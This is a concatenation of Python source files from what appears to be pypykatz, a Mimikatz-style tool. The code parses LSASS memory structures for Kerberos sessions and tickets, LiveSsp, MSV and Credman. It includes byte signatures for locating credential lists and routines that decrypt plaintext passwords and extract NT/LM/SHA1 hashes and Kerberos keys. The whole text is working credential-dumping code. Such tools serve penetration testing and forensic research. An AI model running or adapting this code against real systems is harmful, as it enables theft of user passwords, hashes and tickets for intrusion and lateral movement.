500 self.Tickets_2 = LIST_ENTRY(reader)
501 self.unk28 = FILETIME(reader).value
502 self.Tickets_3 = LIST_ENTRY(reader)
503 self.unk29 = FILETIME(reader).value
504 self.SmartcardInfos = PVOID(reader).value
505
506 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER):
507 def __init__(self, reader):
508 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO)
509
510
511 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO:
512 def __init__(self, reader):
513 self.StructSize = DWORD(reader).value
514 reader.align()
515 self.isoBlob = PLSAISO_DATA_BLOB(reader) #POINTER!!!! #// aligned =
516
517 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(POINTER):
518 def __init__(self, reader):
519 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607)
520
521 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607:
522 def __init__(self, reader):
523 self.UserName = LSA_UNICODE_STRING(reader)
524 self.Domaine = LSA_UNICODE_STRING(reader)
525 self.unkFunction = PVOID(reader).value
526 self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value
527 reader.align()
528 self.Password = LSA_UNICODE_STRING(reader) # union {
529 self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader)
530
531 class PKIWI_KERBEROS_LOGON_SESSION_10_1607(POINTER):
532 def __init__(self, reader):
533 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10_1607)
534
535
536 class KIWI_KERBEROS_LOGON_SESSION_10_1607:
537 def __init__(self, reader):
538 #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
539 self.UsageCount = ULONG(reader).value
540 reader.align()
541 self.unk0 = LIST_ENTRY(reader)
542 self.unk1 = PVOID(reader).value
543 self.unk1b = ULONG(reader).value
544 reader.align()
545 self.unk2 = FILETIME(reader).value
546 self.unk4 = PVOID(reader).value
547 self.unk5 = PVOID(reader).value
548 self.unk6 = PVOID(reader).value
549 self.LocallyUniqueIdentifier = LUID(reader).value
550 self.unk7 = FILETIME(reader).value
551 self.unk8 = PVOID(reader).value
552 self.unk8b = ULONG(reader).value
553 reader.align()
554 self.unk9 = FILETIME(reader).value
555 self.unk11 = PVOID(reader).value
556 self.unk12 = PVOID(reader).value
557 self.unk13 = PVOID(reader).value
558 reader.align(8)
559 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
560 self.unk14 = ULONG(reader).value
561 self.unk15 = ULONG(reader).value
562 self.unk16 = ULONG(reader).value
563 self.unk17 = ULONG(reader).value
564 self.unk18 = PVOID(reader).value
565 self.unk19 = PVOID(reader).value
566 self.unk20 = PVOID(reader).value
567 self.unk21 = PVOID(reader).value
568 self.unk22 = PVOID(reader).value
569 self.unk23 = PVOID(reader).value
570 #self.unk24 = PVOID(reader).value
571 #self.unk25 = PVOID(reader).value
572 reader.align()
573 #reader.read(8+12)
574 #input('pkeylist \n' + hexdump(reader.peek(0x50)))
575 self.pKeyList = PVOID(reader)
576 self.unk26 = PVOID(reader).value
577 self.Tickets_1 = LIST_ENTRY(reader)
578 self.unk27 = FILETIME(reader).value
579 self.Tickets_2 = LIST_ENTRY(reader)
580 self.unk28 = FILETIME(reader).value
581 self.Tickets_3 = LIST_ENTRY(reader)
582 self.unk29 = FILETIME(reader).value
583 self.SmartcardInfos = PVOID(reader).value
584
585
586 class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86:
587 def __init__(self, reader):
588 #input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
589 self.UsageCount = ULONG(reader).value
590 reader.align()
591 self.unk0 = LIST_ENTRY(reader)
592 self.unk1 = PVOID(reader).value
593 self.unk1b = ULONG(reader).value
594 reader.align()
595 self.unk2 = FILETIME(reader).value
596 self.unk4 = PVOID(reader).value
597 self.unk5 = PVOID(reader).value
598 self.unk6 = PVOID(reader).value
599 self.LocallyUniqueIdentifier = LUID(reader).value
600 #input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier))
601 self.unk7 = FILETIME(reader).value
602 self.unk8 = PVOID(reader).value
603 self.unk8b = ULONG(reader).value
604 reader.align()
605 self.unk9 = FILETIME(reader).value
606 self.unk11 = PVOID(reader).value
607 self.unk12 = PVOID(reader).value
608 self.unk13 = PVOID(reader).value
609 self.unkAlign = ULONG(reader).value
610 #input('credentials \n' + hexdump(reader.peek(0x200)))
611 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607(reader)
612 self.unk14 = ULONG(reader).value
613 self.unk15 = ULONG(reader).value
614 self.unk16 = ULONG(reader).value
615 self.unk17 = ULONG(reader).value
616 self.unk18 = PVOID(reader).value
617 self.unk19 = PVOID(reader).value
618 self.unk20 = PVOID(reader).value
619 self.unk21 = PVOID(reader).value
620 self.unk22 = PVOID(reader).value
621 self.unk23 = PVOID(reader).value
622 #self.unk24 = PVOID(reader).value
623 #self.unk25 = PVOID(reader).value
624 reader.align()
625
626 self.pKeyList = PVOID(reader)
627 self.unk26 = PVOID(reader).value
628 #input('Tickets_1 \n' + hexdump(reader.peek(0x200)))
629 self.Tickets_1 = LIST_ENTRY(reader)
630 self.unk27 = FILETIME(reader).value
631 self.Tickets_2 = LIST_ENTRY(reader)
632 self.unk28 = FILETIME(reader).value
633 self.Tickets_3 = LIST_ENTRY(reader)
634 self.unk29 = FILETIME(reader).value
635 self.SmartcardInfos = PVOID(reader).value
636
637 class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER):
638 def __init__(self, reader):
639 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_51)
640
641
642 class KIWI_KERBEROS_INTERNAL_TICKET_51:
643 def __init__(self, reader):
644 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
645 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_51(reader)
646 self.unk0 = PVOID(reader).value
647 self.unk1 = PVOID(reader).value
648 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
649 self.TargetName = PKERB_EXTERNAL_NAME(reader)
650 self.DomainName = LSA_UNICODE_STRING(reader)
651 self.TargetDomainName = LSA_UNICODE_STRING(reader)
652 self.Description = LSA_UNICODE_STRING(reader)
653 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
654 self.ClientName = PKERB_EXTERNAL_NAME(reader)
655 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
656 self.unk2 = ULONG(reader).value
657 self.KeyType = ULONG(reader).value
658 self.Key = KIWI_KERBEROS_BUFFER(reader)
659 self.unk3 = PVOID(reader).value
660 self.unk4 = PVOID(reader).value
661 self.unk5 = PVOID(reader).value
662 self.unk6 = PVOID(reader).value
663 self.unk7 = PVOID(reader).value
664 self.unk8 = PVOID(reader).value
665 self.StartTime = FILETIME(reader).value
666 self.EndTime = FILETIME(reader).value
667 self.RenewUntil = FILETIME(reader).value
668 self.unk9 = ULONG(reader).value
669 self.unk10 = ULONG(reader).value
670 self.domain = PCWSTR(reader).value
671 self.unk11 = ULONG(reader).value
672 self.strangeNames = PVOID(reader).value
673 self.unk12 = ULONG(reader).value
674 self.TicketEncType = ULONG(reader).value
675 self.TicketKvno = ULONG(reader).value
676 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
677
678 class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER):
679 def __init__(self, reader):
680 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_52)
681
682
683 class KIWI_KERBEROS_INTERNAL_TICKET_52:
684 def __init__(self, reader):
685 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
686 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_52(reader)
687 self.unk0 = PVOID(reader).value
688 self.unk1 = PVOID(reader).value
689 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
690 self.TargetName = PKERB_EXTERNAL_NAME(reader)
691 self.DomainName = LSA_UNICODE_STRING(reader)
692 self.TargetDomainName = LSA_UNICODE_STRING(reader)
693 self.Description = LSA_UNICODE_STRING(reader)
694 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
695 self.ClientName = PKERB_EXTERNAL_NAME(reader)
696 self.name0 = PVOID(reader).value
697 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
698 self.unk2 = ULONG(reader).value
699 self.KeyType = ULONG(reader).value
700 self.Key = KIWI_KERBEROS_BUFFER(reader)
701 self.unk3 = PVOID(reader).value
702 self.unk4 = PVOID(reader).value
703 self.unk5 = PVOID(reader).value
704 self.StartTime = FILETIME(reader).value
705 self.EndTime = FILETIME(reader).value
706 self.RenewUntil = FILETIME(reader).value
707 self.unk6 = ULONG(reader).value
708 self.unk7 = ULONG(reader).value
709 self.domain = PCWSTR(reader).value
710 self.unk8 = ULONG(reader).value
711 self.strangeNames = PVOID(reader).value
712 self.unk9 = ULONG(reader).value
713 self.TicketEncType = ULONG(reader).value
714 self.TicketKvno = ULONG(reader).value
715 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
716
717 class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER):
718 def __init__(self, reader):
719 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_60)
720
721
722 class KIWI_KERBEROS_INTERNAL_TICKET_60:
723 def __init__(self, reader):
724 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
725 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_60(reader)
726 self.unk0 = PVOID(reader).value
727 self.unk1 = PVOID(reader).value
728 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
729 self.TargetName = PKERB_EXTERNAL_NAME(reader)
730 self.DomainName = LSA_UNICODE_STRING(reader)
731 self.TargetDomainName = LSA_UNICODE_STRING(reader)
732 self.Description = LSA_UNICODE_STRING(reader)
733 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
734 #//LSA_UNICODE_STRING KDCServer = //?(reader).value
735 self.ClientName = PKERB_EXTERNAL_NAME(reader)
736 self.name0 = PVOID(reader).value
737 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
738 self.unk2 = ULONG(reader).value
739 self.KeyType = ULONG(reader).value
740 self.Key = KIWI_KERBEROS_BUFFER(reader)
741 self.unk3 = PVOID(reader).value
742 self.unk4 = PVOID(reader).value
743 self.unk5 = PVOID(reader).value
744 self.StartTime = FILETIME(reader).value
745 self.EndTime = FILETIME(reader).value
746 self.RenewUntil = FILETIME(reader).value
747 self.unk6 = ULONG(reader).value
748 self.unk7 = ULONG(reader).value
749 self.domain = PCWSTR(reader).value
750 self.unk8 = ULONG(reader).value
751 self.strangeNames = PVOID(reader).value
752 self.unk9 = ULONG(reader).value
753 self.TicketEncType = ULONG(reader).value
754 self.TicketKvno = ULONG(reader).value
755 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
756
757
758 class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER):
759 def __init__(self, reader):
760 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_6)
761
762 class KIWI_KERBEROS_INTERNAL_TICKET_6:
763 def __init__(self, reader):
764 #self.This = LIST_ENTRY(reader)
765 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
766 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader)
767
768 #reader.read(8)
769 #input('servicename\n' + hexdump(reader.peek(0x100)))
770 self.unk0 = PVOID(reader).value
771 self.unk1 = PVOID(reader).value
772 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
773 self.TargetName = PKERB_EXTERNAL_NAME(reader)
774 self.DomainName = LSA_UNICODE_STRING(reader)
775 self.TargetDomainName = LSA_UNICODE_STRING(reader)
776 self.Description = LSA_UNICODE_STRING(reader)
777 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
778 self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value
779 self.ClientName = PKERB_EXTERNAL_NAME(reader)
780 self.name0 = PVOID(reader).value
781 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)#ULONG(reader).value
782 self.unk2 = ULONG(reader).value
783 self.KeyType = ULONG(reader).value
784 reader.align()
785 self.Key = KIWI_KERBEROS_BUFFER(reader)
786 self.unk3 = PVOID(reader).value
787 self.unk4 = PVOID(reader).value
788 self.unk5 = PVOID(reader).value
789 self.StartTime = FILETIME(reader).value
790 self.EndTime = FILETIME(reader).value
791 self.RenewUntil = FILETIME(reader).value
792 self.unk6 = ULONG(reader).value
793 self.unk7 = ULONG(reader).value
794 self.domain = PCWSTR(reader).value
795 self.unk8 = ULONG(reader).value
796 reader.align()
797 self.strangeNames = PVOID(reader).value
798 self.unk9 = ULONG(reader).value
799 self.TicketEncType = ULONG(reader).value
800 self.TicketKvno = ULONG(reader).value
801 reader.align()
802 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
803
804 class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER):
805 def __init__(self, reader):
806 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10)
807
808 class KIWI_KERBEROS_INTERNAL_TICKET_10:
809 def __init__(self, reader):
810 #input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100)))
811 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
812 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
813 self.unk0 = PVOID(reader).value
814 self.unk1 = PVOID(reader).value
815 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
816 self.TargetName = PKERB_EXTERNAL_NAME(reader)
817 self.DomainName = LSA_UNICODE_STRING(reader)
818 self.TargetDomainName = LSA_UNICODE_STRING(reader)
819 self.Description = LSA_UNICODE_STRING(reader)
820 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
821 self.KDCServer = LSA_UNICODE_STRING# //?(reader).value
822 self.unk10586_d = LSA_UNICODE_STRING# //?(reader).value
823 self.ClientName = PKERB_EXTERNAL_NAME(reader)
824 self.name0 = PVOID(reader).value
825 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
826 self.unk2 = ULONG(reader).value
827 self.KeyType = ULONG(reader).value
828 reader.align()
829 self.Key = KIWI_KERBEROS_BUFFER(reader)
830 self.unk3 = PVOID(reader).value
831 self.unk4 = PVOID(reader).value
832 self.unk5 = PVOID(reader).value
833 reader.align(8)
834 self.StartTime = FILETIME(reader).value
835 self.EndTime = FILETIME(reader).value
836 self.RenewUntil = FILETIME(reader).value
837 self.unk6 = ULONG(reader).value
838 self.unk7 = ULONG(reader).value
839 self.domain = PCWSTR(reader).value
840 self.unk8 = ULONG(reader).value
841 reader.align()
842 self.strangeNames = PVOID(reader).value
843 self.unk9 = ULONG(reader).value
844 self.TicketEncType = ULONG(reader).value
845 self.TicketKvno = ULONG(reader).value
846 reader.align()
847 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
848
849 class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER):
850 def __init__(self, reader):
851 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607)
852
853
854 class KIWI_KERBEROS_INTERNAL_TICKET_10_1607:
855 def __init__(self, reader):
856 #input('KIWI_KERBEROS_INTERNAL_TICKET_10_1607\n' + hexdump(reader.peek(0x300)))
857 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
858 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
859 self.unk0 = PVOID(reader).value
860 self.unk1 = PVOID(reader).value
861 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
862 self.TargetName = PKERB_EXTERNAL_NAME(reader)
863 self.DomainName = LSA_UNICODE_STRING(reader)
864 self.TargetDomainName = LSA_UNICODE_STRING(reader)
865 self.Description = LSA_UNICODE_STRING(reader)
866 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
867 self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value
868 self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value
869 self.ClientName = PKERB_EXTERNAL_NAME(reader)
870 self.name0 = PVOID(reader).value
871 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
872 self.unk2 = ULONG(reader).value
873 self.unk14393_0 = PVOID(reader).value
874 self.KeyType = ULONG(reader).value
875 reader.align()
876 self.Key = KIWI_KERBEROS_BUFFER(reader)
877 self.unk14393_1 = PVOID(reader).value
878 self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value
879 self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value
880 self.unk5 = PVOID(reader).value # // up(reader).value
881 self.StartTime = FILETIME(reader).value
882 self.EndTime = FILETIME(reader).value
883 self.RenewUntil = FILETIME(reader).value
884 self.unk6 = ULONG(reader).value
885 self.unk7 = ULONG(reader).value
886 self.domain = PCWSTR(reader).value
887 self.unk8 = ULONG(reader).value
888 reader.align()
889 self.strangeNames = PVOID(reader).value
890 self.unk9 = ULONG(reader).value
891 self.TicketEncType = ULONG(reader).value
892 self.TicketKvno = ULONG(reader).value
893 reader.align()
894 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
895
896 class PKERB_HASHPASSWORD_GENERIC(POINTER):
897 def __init__(self, reader):
898 super().__init__(reader, KERB_HASHPASSWORD_GENERIC)
899
900 class KERB_HASHPASSWORD_GENERIC:
901 def __init__(self, reader):
902 #print('KERB_HASHPASSWORD_GENERIC')
903 #print(hexdump(reader.peek(0x50), start = reader.tell()))
904 self.Type = DWORD(reader).value
905 reader.align()
906 self.Size = SIZE_T(reader).value
907 self.Checksump = PVOID(reader) #this holds the actual credentials dunno why it's named this way...
908
909 class PKERB_HASHPASSWORD_5(POINTER):
910 def __init__(self, reader):
911 super().__init__(reader, KERB_HASHPASSWORD_5)
912
913 class KERB_HASHPASSWORD_5:
914 def __init__(self, reader):
915 self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962
916 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
917
918 class PKERB_HASHPASSWORD_6(POINTER):
919 def __init__(self, reader):
920 super().__init__(reader, KERB_HASHPASSWORD_6)
921
922 class KERB_HASHPASSWORD_6 :
923 def __init__(self, reader):
924 #print('KERB_HASHPASSWORD_6')
925 #input(hexdump(reader.peek(0x100), start = reader.tell()))
926 self.salt = LSA_UNICODE_STRING(reader) #// http://tools.ietf.org/html/rfc3962
927 self.stringToKey = PVOID(reader) # // AES Iterations (dword ?)
928 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
929
930
931 class PKERB_HASHPASSWORD_6_1607(POINTER):
932 def __init__(self, reader):
933 super().__init__(reader, KERB_HASHPASSWORD_6_1607)
934 class KERB_HASHPASSWORD_6_1607:
935 def __init__(self, reader):
936 self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962(reader).value
937 self.stringToKey = PVOID(reader).value # // AES Iterations (dword ?)(reader).value
938 self.unk0 = PVOID(reader).value
939 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
940
941 class PKIWI_KERBEROS_KEYS_LIST_5(POINTER):
942 def __init__(self, reader):
943 super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_5)
944
945 class KIWI_KERBEROS_KEYS_LIST_5:
946 def __init__(self, reader):
947 self.unk0 = DWORD(reader).value #// dword_1233EC8 dd 4
948 self.cbItem = DWORD(reader).value #// debug048:01233ECC dd 5(reader).value
949 self.unk1 = PVOID(reader).value
950 self.unk2 = PVOID(reader).value
951 #//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value
952 self.KeyEntries_start = reader.tell()
953 self.KeyEntries = []
954
955 def read(self, reader, keyentries_type):
956 reader.move(self.KeyEntries_start)
957 for _ in range(self.cbItem):
958 self.KeyEntries.append(keyentries_type(reader))
959
960 class PKIWI_KERBEROS_KEYS_LIST_6(POINTER):
961 def __init__(self, reader):
962 super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_6)
963 class KIWI_KERBEROS_KEYS_LIST_6:
964 def __init__(self, reader):
965 #print('KIWI_KERBEROS_KEYS_LIST_6')
966 #print(hexdump(reader.peek(0x100), start = reader.tell()))
967 self.unk0 = DWORD(reader).value # // dword_1233EC8 dd 4(reader).value
968 self.cbItem = DWORD(reader).value # // debug048:01233ECC dd 5(reader).value
969 self.unk1 = PVOID(reader).value
970 self.unk2 = PVOID(reader).value
971 self.unk3 = PVOID(reader).value
972 self.unk4 = PVOID(reader).value
973 self.KeyEntries_start = reader.tell()
974 self.KeyEntries = []
975
976 def read(self, reader, keyentries_type):
977 reader.move(self.KeyEntries_start)
978 for _ in range(self.cbItem):
979 self.KeyEntries.append(keyentries_type(reader))
980 #//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value
981
982 class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER):
983 def __init__(self, reader):
984 super().__init__(reader, KIWI_KERBEROS_ENUM_DATA_TICKET)
985 class KIWI_KERBEROS_ENUM_DATA_TICKET:
986 def __init__(self, reader):
987 self.isTicketExport = BOOL(reader).value
988 self.isFullTicket = BOOL(reader).value
989
990 class KIWI_KERBEROS_BUFFER:
991 def __init__(self, reader):
992 self.Length = ULONG(reader).value
993 reader.align()
994 self.Value = PVOID(reader)
995
996 ##not part of struct
997 self.Data = None
998
999 def read(self, reader):
1000 self.Data = self.Value.read_raw(reader, self.Length)
1001 return self.Data
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
8
9 class LiveSspCredential:
10 def __init__(self):
11 self.credtype = 'livessp'
12 self.username = None
13 self.domainname = None
14 self.password = None
15 self.luid = None
16
17 def to_dict(self):
18 t = {}
19 t['credtype'] = self.credtype
20 t['username'] = self.username
21 t['domainname'] = self.domainname
22 t['password'] = self.password
23 t['luid'] = self.luid
24 return t
25 def to_json(self):
26 return json.dumps(self.to_dict())
27
28 def __str__(self):
29 t = '\t== LiveSsp [%x]==\n' % self.luid
30 t += '\tusername %s\n' % self.username
31 t += '\tdomainname %s\n' % self.domainname
32 t += '\tpassword %s\n' % self.password
33 return t
34
35 class LiveSspDecryptor(PackageDecryptor):
36 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
37 super().__init__('LiveSsp', lsa_decryptor, sysinfo, reader)
38 self.decryptor_template = decryptor_template
39 self.credentials = []
40
41 def find_first_entry(self):
42 position = self.find_signature('msv1_0.dll',self.decryptor_template.signature)
43 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
44 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
45 return ptr_entry, ptr_entry_loc
46
47 def add_entry(self, ssp_entry):
48 c = LiveSspCredential()
49 c.luid = ssp_entry.LocallyUniqueIdentifier
50
51 suppCreds = ssp_entry.suppCreds.read(self.reader)
52
53 c.username = suppCreds.credentials.UserName.read_string(self.reader)
54 c.domainname = suppCreds.credentials.Domaine.read_string(self.reader)
55 if suppCreds.credentials.Password.Length != 0:
56 enc_data = suppCreds.credentials.Password.read_maxdata(self.reader)
57 c.password = self.decrypt_password(enc_data)
58
59 self.credentials.append(c)
60
61 def start(self):
62 try:
63 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
64 except Exception as e:
65 self.log('Failed to find structs! Reason: %s' % e)
66 return
67 self.reader.move(entry_ptr_loc)
68 entry_ptr = self.decryptor_template.list_entry(self.reader)
69 self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 #from minidump.win_datatypes import *
7 from pypykatz.commons.common import KatzSystemArchitecture
8 from pypykatz.commons.win_datatypes import POINTER, ULONG, \
9 KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, LSA_UNICODE_STRING
10 from pypykatz.lsadecryptor.package_commons import PackageTemplate
11
12 class LiveSspTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('LiveSsp')
15 self.signature = None
16 self.first_entry_offset = None
17 self.list_entry = None
18
19 @staticmethod
20 def get_template(sysinfo):
21 template = LiveSspTemplate()
22 template.list_entry = PKIWI_LIVESSP_LIST_ENTRY
23 template.log_template('list_entry', template.list_entry)
24
25 if sysinfo.architecture == KatzSystemArchitecture.X64:
26 template.signature = b'\x74\x25\x8b'
27 template.first_entry_offset = -7
28
29
30 elif sysinfo.architecture == KatzSystemArchitecture.X86:
31 template.signature = b'\x8b\x16\x39\x51\x24\x75\x08'
32 template.first_entry_offset = -8
33
34 else:
35 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
36
37
38 return template
39
40
41 class PKIWI_LIVESSP_PRIMARY_CREDENTIAL(POINTER):
42 def __init__(self, reader):
43 super().__init__(reader, KIWI_LIVESSP_PRIMARY_CREDENTIAL)
44
45 class KIWI_LIVESSP_PRIMARY_CREDENTIAL:
46 def __init__(self, reader):
47 self.isSupp = ULONG(reader).value
48 self.unk0 = ULONG(reader).value
49 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
50
51
52 class PKIWI_LIVESSP_LIST_ENTRY(POINTER):
53 def __init__(self, reader):
54 super().__init__(reader, KIWI_LIVESSP_LIST_ENTRY)
55
56 class KIWI_LIVESSP_LIST_ENTRY:
57 def __init__(self, reader):
58 self.Flink = PKIWI_LIVESSP_LIST_ENTRY(reader)
59 self.Blink = PKIWI_LIVESSP_LIST_ENTRY(reader)
60 self.unk0 = PVOID(reader)
61 self.unk1 = PVOID(reader)
62 self.unk2 = PVOID(reader)
63 self.unk3 = PVOID(reader)
64 self.unk4 = DWORD(reader).value
65 self.unk5 = DWORD(reader).value
66 self.unk6 = PVOID(reader)
67 self.LocallyUniqueIdentifier = LUID(reader).value
68 self.UserName = LSA_UNICODE_STRING(reader)
69 self.unk7 = PVOID(reader)
70 self.suppCreds = PKIWI_LIVESSP_PRIMARY_CREDENTIAL(reader)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump
8 from pypykatz.commons.filetime import filetime_to_dt
9 #from pypykatz.commons.win_datatypes import *
10 from pypykatz.lsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC
11 from pypykatz.lsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY
12 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
13
14 class MsvCredential:
15 def __init__(self):
16 self.username = None
17 self.domainname = None
18 self.NThash = None
19 self.LMHash = None
20 self.SHAHash = None
21
22
23 def to_dict(self):
24 t = {}
25 t['username'] = self.username
26 t['domainname'] = self.domainname
27 t['NThash'] = self.NThash
28 t['LMHash'] = self.LMHash
29 t['SHAHash'] = self.SHAHash
30 return t
31
32 def to_json(self):
33 return json.dumps(self.to_dict(), cls=UniversalEncoder)
34
35 def __str__(self):
36 t = '\t== MSV ==\n'
37 t += '\t\tUsername: %s\n' % (self.username if self.username else 'NA')
38 t += '\t\tDomain: %s\n' % (self.domainname if self.domainname else 'NA')
39 t += '\t\tLM: %s\n' % (self.LMHash.hex() if self.LMHash else 'NA')
40 t += '\t\tNT: %s\n' % (self.NThash.hex() if self.NThash else 'NA')
41 t += '\t\tSHA1: %s\n' % (self.SHAHash.hex() if self.SHAHash else 'NA')
42 return t
43
44 class CredmanCredential:
45 def __init__(self):
46 self.credtype = 'credman'
47 self.luid = None
48 self.username = None
49 self.password = None
50 self.domainname = None
51
52 def to_dict(self):
53 t = {}
54 t['credtype'] = self.credtype
55 t['username'] = self.username
56 t['domainname'] = self.domainname
57 t['password'] = self.password
58 t['luid'] = self.luid
59 return t
60
61 def to_json(self):
62 return json.dumps(self.to_dict())
63
64 def __str__(self):
65 t = '\t== CREDMAN [%x]==\n' % self.luid
66 t += '\t\tluid %s\n' % self.luid
67 t += '\t\tusername %s\n' % self.username
68 t += '\t\tdomain %s\n' % self.domainname
69 t += '\t\tpassword %s\n' % self.password
70 return t
71
72
73 class LogonSession:
74 grep_header = ['packagename', 'domain', 'user', 'NT', 'LM', 'SHA1', 'masterkey', 'sha1_masterkey', 'key_guid','plaintext']
75
76 def __init__(self):
77 self.authentication_id = None
78 self.session_id = None
79 self.username = None
80 self.domainname = None
81 self.logon_server = None
82 self.logon_time = None
83 self.sid = None
84 self.luid = None
85
86 self.msv_creds = []
87 self.wdigest_creds = []
88 self.ssp_creds = []
89 self.livessp_creds = []
90 self.dpapi_creds = []
91 self.kerberos_creds = []
92 self.credman_creds = []
93 self.tspkg_creds = []
94
95 @staticmethod
96 def parse(entry, reader):
97 """
98 Converts KIWI_MSV1_0_LIST type objects into a unified class
99 """
100 lsc = LogonSession()
101 lsc.authentication_id = entry.LocallyUniqueIdentifier
102 lsc.session_id = entry.Session
103 lsc.username = entry.UserName.read_string(reader)
104 lsc.domainname = entry.Domaine.read_string(reader)
105 lsc.logon_server = entry.LogonServer.read_string(reader)
106 if entry.LogonTime != 0:
107 lsc.logon_time = filetime_to_dt(entry.LogonTime).isoformat()
108 lsc.sid = str(entry.pSid.read(reader))
109 lsc.luid = entry.LocallyUniqueIdentifier
110 return lsc
111
112 def to_dict(self):
113 t = {}
114 t['authentication_id'] = self.authentication_id
115 t['session_id'] = self.session_id
